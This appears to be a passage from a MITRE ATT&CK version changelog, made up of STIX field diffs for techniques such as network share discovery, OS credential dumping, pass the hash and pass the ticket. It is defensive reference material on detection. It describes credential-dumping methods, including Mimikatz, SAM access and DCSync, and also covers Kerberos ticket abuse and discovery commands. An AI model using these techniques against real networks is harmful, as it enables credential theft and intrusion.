File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services. |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Network protocol analysis | Process: OS API Execution |
| x_mitre_version | 3.0 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 21:03:49.610000+00:00 | 2021-04-02 17:51:59.236000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Process: Process Creation |
| x_mitre_data_sources[1] | Host network interface | Command: Command Execution |
| x_mitre_detection | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Process monitoring |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-09 20:46:00.758000+00:00 | 2021-10-15 19:55:01.922000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Access |
| x_mitre_data_sources[2] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Access |
| x_mitre_detection | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/, where the | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/, where the |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Access | |
| x_mitre_data_sources | Active Directory: Active Directory Object Access | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:24:20.601000+00:00 | 2021-10-20 16:33:13.472000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | File: File Metadata |
| x_mitre_data_sources[2] | File monitoring | File: File Creation |
| x_mitre_data_sources[3] | Malware reverse engineering | Process: Process Creation |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Environment variable | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal capabilities that can be us |
| > | al capabilities that can be used during targeting. Rather th | > | ed during targeting. Rather than developing their own capabi | ||
| > | an developing their own capabilities in-house, adversaries m | > | lities in-house, adversaries may purchase, freely download, | ||
| > | ay purchase, freely download, or steal them. Activities may | > | or steal them. Activities may include the acquisition of mal | ||
| > | include the acquisition of malware, software (including lice | > | ware, software (including licenses), exploits, certificates, | ||
| > | nses), exploits, certificates, and information relating to v | > | and information relating to vulnerabilities. Adversaries ma | ||
| > | ulnerabilities. Adversaries may obtain capabilities to suppo | > | y obtain capabilities to support their operations throughout | ||
| > | rt their operations throughout numerous phases of the advers | > | numerous phases of the adversary lifecycle. In addition to | ||
| > | ary lifecycle. In addition to downloading free malware, sof | > | downloading free malware, software, and exploits from the i | ||
| > | tware, and exploits from the internet, adversaries may purch | > | nternet, adversaries may purchase these capabilities from th | ||
| > | ase these capabilities from third-party entities. Third-part | > | ird-party entities. Third-party entities can include technol | ||
| > | y entities can include technology companies that specialize | > | ogy companies that specialize in malware and exploits, crimi | ||
| > | in malware and exploits, criminal marketplaces, or from indi | > | nal marketplaces, or from individuals.(Citation: NationsBuyi | ||
| > | viduals.(Citation: NationsBuying)(Citation: PegasusCitizenLa | > | ng)(Citation: PegasusCitizenLab) In addition to purchasing | ||
| > | b) In addition to purchasing capabilities, adversaries may | > | capabilities, adversaries may steal capabilities from third- | ||
| > | steal capabilities from third-party entities (including othe | > | party entities (including other adversaries). This can inclu | ||
| > | r adversaries). This can include stealing software licenses, | > | de stealing software licenses, malware, SSL/TLS and code-sig | ||
| > | malware, SSL/TLS and code-signing certificates, or raiding | > | ning certificates, or raiding closed databases of vulnerabil | ||
| > | closed databases of vulnerabilities or exploits.(Citation: D | > | ities or exploits.(Citation: DiginotarCompromise) | ||
| > | iginotarCompromise) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Certificate: Certificate Registration', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:22:21.135000+00:00 | 2021-10-18 12:26:22.831000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) | Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} | |
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} | |
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} | |
| external_references | {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 17:48:09.417000+00:00 | 2021-10-15 20:18:31.112000+00:00 |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Mail server | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[3] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | File monitoring | File: File Creation |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Module: Module Load | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 17:48:08.916000+00:00 | 2021-08-16 21:27:10.873000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[3] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 15:27:51.559000+00:00 | 2021-08-16 21:35:17.618000+00:00 |
| x_mitre_data_sources[0] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[3] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | File monitoring | File: File Creation |
| x_mitre_data_sources[5] | Windows Registry | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Module: Module Load |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:35:15.823000+00:00 | 2021-08-16 21:29:19.697000+00:00 |
| x_mitre_data_sources[0] | Mail server | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:35:51.656000+00:00 | 2021-08-16 21:30:01.743000+00:00 |
| x_mitre_data_sources[0] | Mail server | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Microsoft Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:36:15.923000+00:00 | 2021-10-15 20:18:30.700000+00:00 |
| external_references[3]['source_name'] | SensePost NotRuler | Pfammatter - Hidden Inbox Rules |
| external_references[3]['description'] | SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. | Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. |
| external_references[3]['url'] | https://github.com/sensepost/notruler | https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ |
| x_mitre_data_sources[0] | Mail server | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Application Log: Application Log Content |
| x_mitre_detection | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the hash” using stolen password hashes | t | 1 | Adversaries may “pass the hash” using stolen password hashes |
| > | to move laterally within an environment, bypassing normal s | > | to move laterally within an environment, bypassing normal s | ||
| > | ystem access controls. Pass the hash (PtH) is a method of au | > | ystem access controls. Pass the hash (PtH) is a method of au | ||
| > | thenticating as a user without having access to the user's c | > | thenticating as a user without having access to the user's c | ||
| > | leartext password. This method bypasses standard authenticat | > | leartext password. This method bypasses standard authenticat | ||
| > | ion steps that require a cleartext password, moving directly | > | ion steps that require a cleartext password, moving directly | ||
| > | into the portion of the authentication that uses the passwo | > | into the portion of the authentication that uses the passwo | ||
| > | rd hash. In this technique, valid password hashes for the ac | > | rd hash. When performing PtH, valid password hashes for the | ||
| > | count being used are captured using a Credential Access tech | > | account being used are captured using a [Credential Access] | ||
| > | nique. Captured hashes are used with PtH to authenticate as | > | (https://attack.mitre.org/tactics/TA0006) technique. Capture | ||
| > | that user. Once authenticated, PtH may be used to perform ac | > | d hashes are used with PtH to authenticate as that user. Onc | ||
| > | tions on local or remote systems. Windows 7 and higher with | > | e authenticated, PtH may be used to perform actions on local | ||
| > | KB2871997 require valid domain user credentials or RID 500 | > | or remote systems. Adversaries may also use stolen passwor | ||
| > | administrator hashes.(Citation: NSA Spotting) | > | d hashes to "overpass the hash." Similar to PtH, this involv | ||
| > | es using a password hash to authenticate as a user but also | ||||
| > | uses the password hash to create a valid Kerberos ticket. Th | ||||
| > | is ticket can then be used to perform [Pass the Ticket](http | ||||
| > | s://attack.mitre.org/techniques/T1550/003) attacks.(Citation | ||||
| > | : Stealthbits Overpass-the-Hash) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 16:24:34.766000+00:00 | 2021-08-31 19:55:02.702000+00:00 |
| description | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.(Citation: NSA Spotting) | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash) |
| external_references[2]['source_name'] | NSA Spotting | Stealthbits Overpass-the-Hash |
| external_references[2]['description'] | National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018. | Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. |
| external_references[2]['url'] | https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm | https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_detection | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Blake Strom, Microsoft 365 Defender | |
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick | t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick |
| > | ets to move laterally within an environment, bypassing norma | > | ets to move laterally within an environment, bypassing norma | ||
| > | l system access controls. Pass the ticket (PtT) is a method | > | l system access controls. Pass the ticket (PtT) is a method | ||
| > | of authenticating to a system using Kerberos tickets without | > | of authenticating to a system using Kerberos tickets without | ||
| > | having access to an account's password. Kerberos authentica | > | having access to an account's password. Kerberos authentica | ||
| > | tion can be used as the first step to lateral movement to a | > | tion can be used as the first step to lateral movement to a | ||
| > | remote system. In this technique, valid Kerberos tickets fo | > | remote system. When preforming PtT, valid Kerberos tickets | ||
| > | r [Valid Accounts](https://attack.mitre.org/techniques/T1078 | > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | ) are captured by [OS Credential Dumping](https://attack.mit | > | 78) are captured by [OS Credential Dumping](https://attack.m | ||
| > | re.org/techniques/T1003). A user's service tickets or ticket | > | itre.org/techniques/T1003). A user's service tickets or tick | ||
| > | granting ticket (TGT) may be obtained, depending on the lev | > | et granting ticket (TGT) may be obtained, depending on the l | ||
| > | el of access. A service ticket allows for access to a partic | > | evel of access. A service ticket allows for access to a part | ||
| > | ular resource, whereas a TGT can be used to request service | > | icular resource, whereas a TGT can be used to request servic | ||
| > | tickets from the Ticket Granting Service (TGS) to access any | > | e tickets from the Ticket Granting Service (TGS) to access a | ||
| > | resource the user has privileges to access.(Citation: ADSec | > | ny resource the user has privileges to access.(Citation: ADS | ||
| > | urity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Tic | > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | ||
| > | ket) [Silver Ticket](https://attack.mitre.org/techniques/T1 | > | icket) A [Silver Ticket](https://attack.mitre.org/technique | ||
| > | 558/002) can be obtained for services that use Kerberos as a | > | s/T1558/002) can be obtained for services that use Kerberos | ||
| > | n authentication mechanism and are used to generate tickets | > | as an authentication mechanism and are used to generate tick | ||
| > | to access that particular resource and the system that hosts | > | ets to access that particular resource and the system that h | ||
| > | the resource (e.g., SharePoint).(Citation: ADSecurity AD Ke | > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | ||
| > | rberos Attacks) [Golden Ticket](https://attack.mitre.org/te | > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | ||
| > | chniques/T1558/001) can be obtained for the domain using the | > | org/techniques/T1558/001) can be obtained for the domain usi | ||
| > | Key Distribution Service account KRBTGT account NTLM hash, | > | ng the Key Distribution Service account KRBTGT account NTLM | ||
| > | which enables generation of TGTs for any account in Active D | > | hash, which enables generation of TGTs for any account in Ac | ||
| > | irectory.(Citation: Campbell 2014) | > | tive Directory.(Citation: Campbell 2014) Adversaries may al | ||
| > | so create a valid Kerberos ticket using other user informati | ||||
| > | on, such as stolen password hashes or AES keys. For example, | ||||
| > | "overpassing the hash" involves using a NTLM password hash | ||||
| > | to authenticate as a user (i.e. [Pass the Hash](https://atta | ||||
| > | ck.mitre.org/techniques/T1550/002)) while also using the pas | ||||
| > | sword hash to create a valid Kerberos ticket.(Citation: Stea | ||||
| > | lthbits Overpass-the-Hash) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-12 17:03:16.122000+00:00 | 2021-08-31 19:56:31.341000+00:00 |
| description | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution 